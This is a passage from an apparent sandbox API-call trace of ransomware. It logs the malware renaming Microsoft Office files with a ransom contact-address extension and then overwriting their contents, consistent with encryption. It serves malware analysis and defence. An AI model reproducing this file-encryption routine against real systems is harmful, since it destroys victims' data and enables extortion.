CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.172] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfcc4 | out: lpFindFileData=0x36bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4855a5d, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4855a5d, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x2f8d91a7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x95, dwReserved0=0x36bfd20, dwReserved1=0x6a48f8, cFileName="VISIO_STD_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VISIO_~1.FIR")) returned 0x6d4e40 [0177.172] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0177.172] Sleep (dwMilliseconds=0x1) [0177.402] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_K_COL.HXK", len=0x48 | out: pbstr=0x36bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_K_COL.HXK") returned 1 [0177.403] GetProcessHeap () returned 0x630000 [0177.403] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2aec) returned 0x707d3d0 [0177.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0177.405] CloseHandle (hObject=0x678) returned 1 [0177.405] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0177.406] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0177.407] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.407] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfc6c | out: lpFindFileData=0x36bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x482f84d, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x482f84d, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4855a5d, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO_PRM_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VID791~1.FIR")) returned 0x6d4f40 [0177.408] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0177.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0177.408] GetProcessHeap () returned 0x630000 [0177.408] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4d78 [0177.408] GetProcessHeap () returned 0x630000 [0177.408] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4b38 [0177.408] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.408] ReadFile (in: hFile=0x678, lpBuffer=0x6a4d78, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4d78*, lpNumberOfBytesRead=0x36bff0c*=0x60, lpOverlapped=0x0) returned 1 [0177.410] GetProcessHeap () returned 0x630000 [0177.410] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317c98 [0177.410] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.410] WriteFile (in: hFile=0x678, lpBuffer=0x6a4b38*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4b38*, lpNumberOfBytesWritten=0x36bff0c*=0x60, lpOverlapped=0x0) returned 1 [0177.410] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.410] WriteFile (in: hFile=0x678, lpBuffer=0x6a4b97*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4b97*, lpNumberOfBytesWritten=0x36bff0c*=0x20, lpOverlapped=0x0) returned 1 [0177.410] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.410] WriteFile (in: hFile=0x678, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x36bff0c*=0x4, lpOverlapped=0x0) returned 1 [0177.410] CloseHandle (hObject=0x678) returned 1 [0177.410] GetProcessHeap () returned 0x630000 [0177.410] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4b38 | out: hHeap=0x630000) returned 1 [0177.411] GetProcessHeap () returned 0x630000 [0177.411] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4d78 | out: hHeap=0x630000) returned 1 [0177.411] GetProcessHeap () returned 0x630000 [0177.411] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317c98 | out: hHeap=0x630000) returned 1 [0177.411] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.411] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfcc4 | out: lpFindFileData=0x36bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x482f84d, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x482f84d, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x2fb15372, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x95, dwReserved0=0x36bfd20, dwReserved1=0x6a4d78, cFileName="VISIO_PRM_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VID791~1.FIR")) returned 0x6d4e40 [0177.411] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0177.411] Sleep (dwMilliseconds=0x1) [0177.471] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_COL.HXC", len=0x42 | out: pbstr=0x36bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_COL.HXC") returned 1 [0177.471] GetProcessHeap () returned 0x630000 [0177.471] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2acc) returned 0x707d3d0 [0177.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0177.472] CloseHandle (hObject=0x714) returned 1 [0177.472] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0177.472] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_col.hxc.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0177.473] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.473] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfc6c | out: lpFindFileData=0x36bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x482f84d, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x482f84d, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x482f84d, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x277, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VIC4A7~1.FIR")) returned 0x6d4e40 [0177.473] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0177.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_col.hxc.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0177.473] GetProcessHeap () returned 0x630000 [0177.473] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x71ec238 [0177.473] GetProcessHeap () returned 0x630000 [0177.473] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x71ebce8 [0177.473] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.473] ReadFile (in: hFile=0x714, lpBuffer=0x71ec238, nNumberOfBytesToRead=0x260, lpNumberOfBytesRead=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71ec238*, lpNumberOfBytesRead=0x36bff0c*=0x260, lpOverlapped=0x0) returned 1 [0177.482] GetProcessHeap () returned 0x630000 [0177.482] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317608 [0177.482] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.483] WriteFile (in: hFile=0x714, lpBuffer=0x71ebce8*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71ebce8*, lpNumberOfBytesWritten=0x36bff0c*=0x260, lpOverlapped=0x0) returned 1 [0177.483] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.483] WriteFile (in: hFile=0x714, lpBuffer=0x71ebf47*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71ebf47*, lpNumberOfBytesWritten=0x36bff0c*=0x20, lpOverlapped=0x0) returned 1 [0177.483] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.483] WriteFile (in: hFile=0x714, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x36bff0c*=0x4, lpOverlapped=0x0) returned 1 [0177.483] CloseHandle (hObject=0x714) returned 1 [0177.486] GetProcessHeap () returned 0x630000 [0177.486] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71ebce8 | out: hHeap=0x630000) returned 1 [0177.486] GetProcessHeap () returned 0x630000 [0177.486] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71ec238 | out: hHeap=0x630000) returned 1 [0177.486] GetProcessHeap () returned 0x630000 [0177.486] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317608 | out: hHeap=0x630000) returned 1 [0177.486] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.486] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfcc4 | out: lpFindFileData=0x36bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x482f84d, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x482f84d, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x2fbd3e4f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x29b, dwReserved0=0x36bfd20, dwReserved1=0x71ec238, cFileName="VISIO_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VIC4A7~1.FIR")) returned 0x6d5540 [0177.515] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0177.516] Sleep (dwMilliseconds=0x1) [0179.571] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1110\\PowerPivotExcelClientAddIn.rll", len=0x7c | out: pbstr=0x36bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1110\\PowerPivotExcelClientAddIn.rll") returned 1 [0179.571] GetProcessHeap () returned 0x630000 [0179.571] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2aac) returned 0x707d3d0 [0179.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1110\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1110\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0179.572] CloseHandle (hObject=0x414) returned 1 [0179.572] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0179.572] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1110\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1110\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1110\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1110\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0179.573] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0179.573] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1110\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfc6c | out: lpFindFileData=0x36bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf61fd8b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112c0, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d54c0 [0179.573] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0179.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1110\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1110\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0179.574] GetProcessHeap () returned 0x630000 [0179.574] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73005d8 [0179.574] GetProcessHeap () returned 0x630000 [0179.574] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x730ba08 [0179.574] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.574] ReadFile (in: hFile=0x414, lpBuffer=0x73005d8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x73005d8*, lpNumberOfBytesRead=0x36bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0187.449] GetProcessHeap () returned 0x630000 [0187.450] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73180f8 [0187.450] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.450] WriteFile (in: hFile=0x414, lpBuffer=0x730ba08*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x730ba08*, lpNumberOfBytesWritten=0x36bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0187.450] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.450] WriteFile (in: hFile=0x414, lpBuffer=0x7316e07*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7316e07*, lpNumberOfBytesWritten=0x36bff0c*=0x20, lpOverlapped=0x0) returned 1 [0187.451] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.451] WriteFile (in: hFile=0x414, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x36bff0c*=0x4, lpOverlapped=0x0) returned 1 [0187.451] CloseHandle (hObject=0x414) returned 1 [0187.451] GetProcessHeap () returned 0x630000 [0187.451] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x730ba08 | out: hHeap=0x630000) returned 1 [0187.457] GetProcessHeap () returned 0x630000 [0187.457] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73005d8 | out: hHeap=0x630000) returned 1 [0187.458] GetProcessHeap () returned 0x630000 [0187.458] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73180f8 | out: hHeap=0x630000) returned 1 [0187.458] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0187.458] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1110\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfcc4 | out: lpFindFileData=0x36bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf61fd8b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x35ae3e1a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x112e4, dwReserved0=0xc447496, dwReserved1=0x73005d0, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d4ec0 [0187.458] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0187.458] Sleep (dwMilliseconds=0x1) [0189.450] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR7F.GIF", len=0x49 | out: pbstr=0x36bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR7F.GIF") returned 1 [0189.450] GetProcessHeap () returned 0x630000 [0189.450] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2980) returned 0x707d3d0 [0189.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR7F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir7f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0189.468] CloseHandle (hObject=0x6a4) returned 1 [0189.468] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0189.469] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR7F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir7f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR7F.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir7f.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0189.471] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0189.471] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR7F.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfc6c | out: lpFindFileData=0x36bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae49f22, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5fdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR7F.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ZPDIR7~1.FIR")) returned 0x6d4e00 [0189.471] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0189.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR7F.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir7f.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0189.471] GetProcessHeap () returned 0x630000 [0189.471] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5fe1) returned 0x72a49c0 [0189.472] GetProcessHeap () returned 0x630000 [0189.472] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5fe1) returned 0x72aa9b0 [0189.472] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.472] ReadFile (in: hFile=0x6a4, lpBuffer=0x72a49c0, nNumberOfBytesToRead=0x5fc0, lpNumberOfBytesRead=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72a49c0*, lpNumberOfBytesRead=0x36bff0c*=0x5fc0, lpOverlapped=0x0) returned 1 [0192.944] GetProcessHeap () returned 0x630000 [0192.944] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176138 [0192.944] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.944] WriteFile (in: hFile=0x6a4, lpBuffer=0x72aa9b0*, nNumberOfBytesToWrite=0x5fc0, 